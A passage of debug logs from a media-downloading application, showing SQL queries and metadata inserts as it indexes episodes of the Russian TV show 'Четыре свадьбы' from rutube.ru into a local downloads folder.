m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:44.778 [debug] QUERY OK source="media_items" db=1.5ms queue=0.3ms idle=189.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [37] 14:35:44.779 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Новые невесты с нетерпением ждут свои свадьбы и мероприятия конкуренток! Юлия из Кургана дала своей свадьбе название «Отражение тебя». На свадьбе Регины из Иваново выступит кавер-группа. У Анастасии из Уфы будет классическая свадьба с татарскими традициями. А свадьба Яны из Калининграда пройдёт в формате пляжной вечеринки. Чьё торжество станет самым запоминающимся, узнаем из программы «Четыре свадьбы».", "duration" => 6029, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e030200 - Свадьба на пляже VS Татарские традиции.mp4", "id" => "9d98e96027704d72ca460d8f47211576", "original_url" => "https://rutube.ru/video/9d98e96027704d72ca460d8f47211576/", "playlist_index" => 44, "timestamp" => 1677766808, "title" => "Свадьба на пляже VS Татарские традиции", "upload_date" => "20230302"} 14:35:44.782 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=188.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:44.783 [debug] QUERY OK source="sources" db=0.8ms queue=0.4ms idle=26.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:44.786 [debug] QUERY OK source="media_items" db=1.2ms queue=0.8ms idle=11.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-02 14:20:08Z], 1] 14:35:44.913 [debug] QUERY OK source="media_items" db=124.9ms queue=0.6ms idle=12.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Новые невесты с нетерпением ждут свои свадьбы и мероприятия конкуренток! Юлия из Кургана дала своей свадьбе название «Отражение тебя». На свадьбе Регины из Иваново выступит кавер-группа. У Анастасии из Уфы будет классическая свадьба с татарскими традициями. А свадьба Яны из Калининграда пройдёт в формате пляжной вечеринки. Чьё торжество станет самым запоминающимся, узнаем из программы «Четыре свадьбы».", "Свадьба на пляже VS Татарские традиции", "5142b172-0270-4b88-b648-80152e8c7e0e", "9d98e96027704d72ca460d8f47211576", 6029, false, "https://rutube.ru/video/9d98e96027704d72ca460d8f47211576/", 44, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e030200 - Свадьба на пляже VS Татарские традиции.mp4", false, false, false, 1, [], 1, ~U[2023-03-02 14:20:08Z], ~U[2025-12-09 11:35:44Z], ~U[2025-12-09 11:35:44Z], "Новые невесты с нетерпением ждут свои свадьбы и мероприятия конкуренток! Юлия из Кургана дала своей свадьбе название «Отражение тебя». На свадьбе Регины из Иваново выступит кавер-группа. У Анастасии из Уфы будет классическая свадьба с татарскими традициями. А свадьба Яны из Калининграда пройдёт в формате пляжной вечеринки. Чьё торжество станет самым запоминающимся, узнаем из программы «Четыре свадьбы».", "Свадьба на пляже VS Татарские традиции", "9d98e96027704d72ca460d8f47211576", 6029, false, "https://rutube.ru/video/9d98e96027704d72ca460d8f47211576/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e030200 - Свадьба на пляже VS Татарские традиции.mp4", false, 1, ~U[2023-03-02 14:20:08Z]] 14:35:44.917 [debug] QUERY OK source="sources" db=3.2ms queue=0.6ms idle=135.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:44.923 [debug] QUERY OK source="media_profiles" db=4.5ms queue=0.3ms idle=136.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:44.927 [debug] QUERY OK source="media_items" db=2.6ms idle=140.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 14:35:44.930 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы «Четырёх свадеб» готовы удивлять! У Натальи из Раменского будет классическая свадьба с выкупом в стиле полёта на самолёте. Полина позовёт гостей в Череповец на свою бохо-свадьбу. Юлия из Ростова-на-Дону вместе с женихом устроит «перелёты» между столами-странами. А Ирина из Барабинска пригласит соперниц на свою свадьбу в стиле лофт с напитками собственного производства. Побывать на мероприятиях девушек поможет программа «Четыре свадьбы».", "duration" => 5094, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e030800 - Свадьба на стиле VS Свадьба на селе.mp4", "id" => "23827730f9a796a72723c8fb403b10d2", "original_url" => "https://rutube.ru/video/23827730f9a796a72723c8fb403b10d2/", "playlist_index" => 45, "timestamp" => 1678284015, "title" => "Свадьба на стиле VS Свадьба на селе", "upload_date" => "20230308"} 14:35:44.935 [debug] QUERY OK source="sources" db=4.1ms idle=144.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:44.936 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=22.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:44.939 [debug] QUERY OK source="media_items" db=1.5ms queue=0.2ms idle=20.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-08 14:00:15Z], 1] 14:35:45.081 [debug] QUERY OK source="media_items" db=140.2ms queue=0.1ms idle=16.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы «Четырёх свадеб» готовы удивлять! У Натальи из Раменского будет классическая свадьба с выкупом в стиле полёта на самолёте. Полина позовёт гостей в Череповец на свою бохо-свадьбу. Юлия из Ростова-на-Дону вместе с женихом устроит «перелёты» между столами-странами. А Ирина из Барабинска пригласит соперниц на свою свадьбу в стиле лофт с напитками собственного производства. Побывать на мероприятиях девушек поможет программа «Четыре свадьбы».", "Свадьба на стиле VS Свадьба на селе", "2db46100-6d50-4135-9fa3-e36bc86a8c6b", "23827730f9a796a72723c8fb403b10d2", 5094, false, "https://rutube.ru/video/23827730f9a796a72723c8fb403b10d2/", 45, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e030800 - Свадьба на стиле VS Свадьба на селе.mp4", false, false, false, 1, [], 1, ~U[2023-03-08 14:00:15Z], ~U[2025-12-09 11:35:44Z], ~U[2025-12-09 11:35:44Z], "Участницы «Четырёх свадеб» готовы удивлять! У Натальи из Раменского будет классическая свадьба с выкупом в стиле полёта на самолёте. Полина позовёт гостей в Череповец на свою бохо-свадьбу. Юлия из Ростова-на-Дону вместе с женихом устроит «перелёты» между столами-странами. А Ирина из Барабинска пригласит соперниц на свою свадьбу в стиле лофт с напитками собственного производства. Побывать на мероприятиях девушек поможет программа «Четыре свадьбы».", "Свадьба на стиле VS Свадьба на селе", "23827730f9a796a72723c8fb403b10d2", 5094, false, "https://rutube.ru/video/23827730f9a796a72723c8fb403b10d2/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e030800 - Свадьба на стиле VS Свадьба на селе.mp4", false, 1, ~U[2023-03-08 14:00:15Z]] 14:35:45.102 [debug] QUERY OK source="sources" db=17.5ms queue=0.2ms idle=157.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:45.107 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.4ms idle=170.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:45.109 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=171.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38] 14:35:45.110 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Карина из Москвы, Ольга из Белореченска, Екатерина из Тольятти и Ирина из Саранска начинают свадебное противостояние! Карина позовёт конкуренток на своё венчание и «total black» торжество. У Ольги будет свадьба в стиле «день пограничника», а фишкой мероприятия станет домашняя кухня. На свадьбе Екатерины пройдут народные гуляния с баяном. А на классической свадьбе Ирины гости будут растроганы благословением родителей. Как девушки оценят мероприятия соперниц, увидим в программе «Четыре свадьбы».", "duration" => 5071, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e022300 - Богемный фуршет VS Свадьба пограничников.mp4", "id" => "269c40ccd71117258fb0c1013918cd8f", "original_url" => "https://rutube.ru/video/269c40ccd71117258fb0c1013918cd8f/", "playlist_index" => 46, "timestamp" => 1677160814, "title" => "Богемный фуршет VS Свадьба пограничников", "upload_date" => "20230223"} 14:35:45.112 [debug] QUERY OK source="sources" db=0.3ms idle=172.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:45.117 [debug] QUERY OK source="sources" db=0.6ms queue=1.5ms idle=34.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:45.119 [debug] QUERY OK source="media_items" db=1.2ms idle=16.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-23 14:00:14Z], 1] 14:35:45.727 [debug] QUERY OK source="media_items" db=599.2ms queue=0.6ms idle=12.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Карина из Москвы, Ольга из Белореченска, Екатерина из Тольятти и Ирина из Саранска начинают свадебное противостояние! Карина позовёт конкуренток на своё венчание и «total black» торжество. У Ольги будет свадьба в стиле «день пограничника», а фишкой мероприятия станет домашняя кухня. На свадьбе Екатерины пройдут народные гуляния с баяном. А на классической свадьбе Ирины гости будут растроганы благословением родителей. Как девушки оценят мероприятия соперниц, увидим в программе «Четыре свадьбы».", "Богемный фуршет VS Свадьба пограничников", "5cebdee8-8a2d-4f24-94b7-d9f634485e59", "269c40ccd71117258fb0c1013918cd8f", 5071, false, "https://rutube.ru/video/269c40ccd71117258fb0c1013918cd8f/", 46, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e022300 - Богемный фуршет VS Свадьба пограничников.mp4", false, false, false, 1, [], 1, ~U[2023-02-23 14:00:14Z], ~U[2025-12-09 11:35:45Z], ~U[2025-12-09 11:35:45Z], "Карина из Москвы, Ольга из Белореченска, Екатерина из Тольятти и Ирина из Саранска начинают свадебное противостояние! Карина позовёт конкуренток на своё венчание и «total black» торжество. У Ольги будет свадьба в стиле «день пограничника», а фишкой мероприятия станет домашняя кухня. На свадьбе Екатерины пройдут народные гуляния с баяном. А на классической свадьбе Ирины гости будут растроганы благословением родителей. Как девушки оценят мероприятия соперниц, увидим в программе «Четыре свадьбы».", "Богемный фуршет VS Свадьба пограничников", "269c40ccd71117258fb0c1013918cd8f", 5071, false, "https://rutube.ru/video/269c40ccd71117258fb0c1013918cd8f/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e022300 - Богемный фуршет VS Свадьба пограничников.mp4", false, 1, ~U[2023-02-23 14:00:14Z]] 14:35:45.733 [debug] QUERY OK source="sources" db=0.7ms queue=0.6ms idle=619.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:45.755 [debug] QUERY OK source="media_profiles" db=6.2ms queue=2.0ms idle=629.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:45.776 [debug] QUERY OK source="media_items" db=9.5ms queue=2.1ms idle=645.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [39] 14:35:45.789 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 невесты приглашают на свои мероприятия! Софья из Москвы ждёт гостей на своей свадьбе в современном стиле без ведущего. У Татьяны из Челябинска будет классическая свадьба, на которую они с женихом позовут самую сильную женщину России. На свадьбе в нюдовых тонах Марины из Кемерово удивлять гостей будет жених. А фишкой свадьбы Алины из Ижевска станет телега-бар. Смотрите программу «Четыре свадьбы»!", "duration" => 5786, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e031600 - Свадьба в фотостудии VS Классическая свадьба.mp4", "id" => "8596f8b234d9fa4bcea22e763500bd50", "original_url" => "https://rutube.ru/video/8596f8b234d9fa4bcea22e763500bd50/", "playlist_index" => 47, "timestamp" => 1678975216, "title" => "Свадьба в фотостудии VS Классическая свадьба", "upload_date" => "20230316"} 14:35:45.796 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=573.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:45.801 [debug] QUERY OK source="sources" db=2.1ms queue=0.2ms idle=78.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:45.808 [debug] QUERY OK source="media_items" db=3.1ms queue=0.8ms idle=70.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-16 14:00:16Z], 1] 14:35:45.999 [debug] QUERY OK source="media_items" db=186.0ms queue=0.7ms idle=55.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты приглашают на свои мероприятия! Софья из Москвы ждёт гостей на своей свадьбе в современном стиле без ведущего. У Татьяны из Челябинска будет классическая свадьба, на которую они с женихом позовут самую сильную женщину России. На свадьбе в нюдовых тонах Марины из Кемерово удивлять гостей будет жених. А фишкой свадьбы Алины из Ижевска станет телега-бар. Смотрите программу «Четыре свадьбы»!", "Свадьба в фотостудии VS Классическая свадьба", "99807195-f645-4791-9bf0-1cfd10315866", "8596f8b234d9fa4bcea22e763500bd50", 5786, false, "https://rutube.ru/video/8596f8b234d9fa4bcea22e763500bd50/", 47, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e031600 - Свадьба в фотостудии VS Классическая свадьба.mp4", false, false, false, 1, [], 1, ~U[2023-03-16 14:00:16Z], ~U[2025-12-09 11:35:45Z], ~U[2025-12-09 11:35:45Z], "4 невесты приглашают на свои мероприятия! Софья из Москвы ждёт гостей на своей свадьбе в современном стиле без ведущего. У Татьяны из Челябинска будет классическая свадьба, на которую они с женихом позовут самую сильную женщину России. На свадьбе в нюдовых тонах Марины из Кемерово удивлять гостей будет жених. А фишкой свадьбы Алины из Ижевска станет телега-бар. Смотрите программу «Четыре свадьбы»!", "Свадьба в фотостудии VS Классическая свадьба", "8596f8b234d9fa4bcea22e763500bd50", 5786, false, "https://rutube.ru/video/8596f8b234d9fa4bcea22e763500bd50/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e031600 - Свадьба в фотостудии VS Классическая свадьба.mp4", false, 1, ~U[2023-03-16 14:00:16Z]] 14:35:46.029 [debug] QUERY OK source="sources" db=26.8ms queue=0.4ms idle=225.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:46.035 [debug] QUERY OK source="media_profiles" db=2.8ms queue=1.4ms idle=233.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", 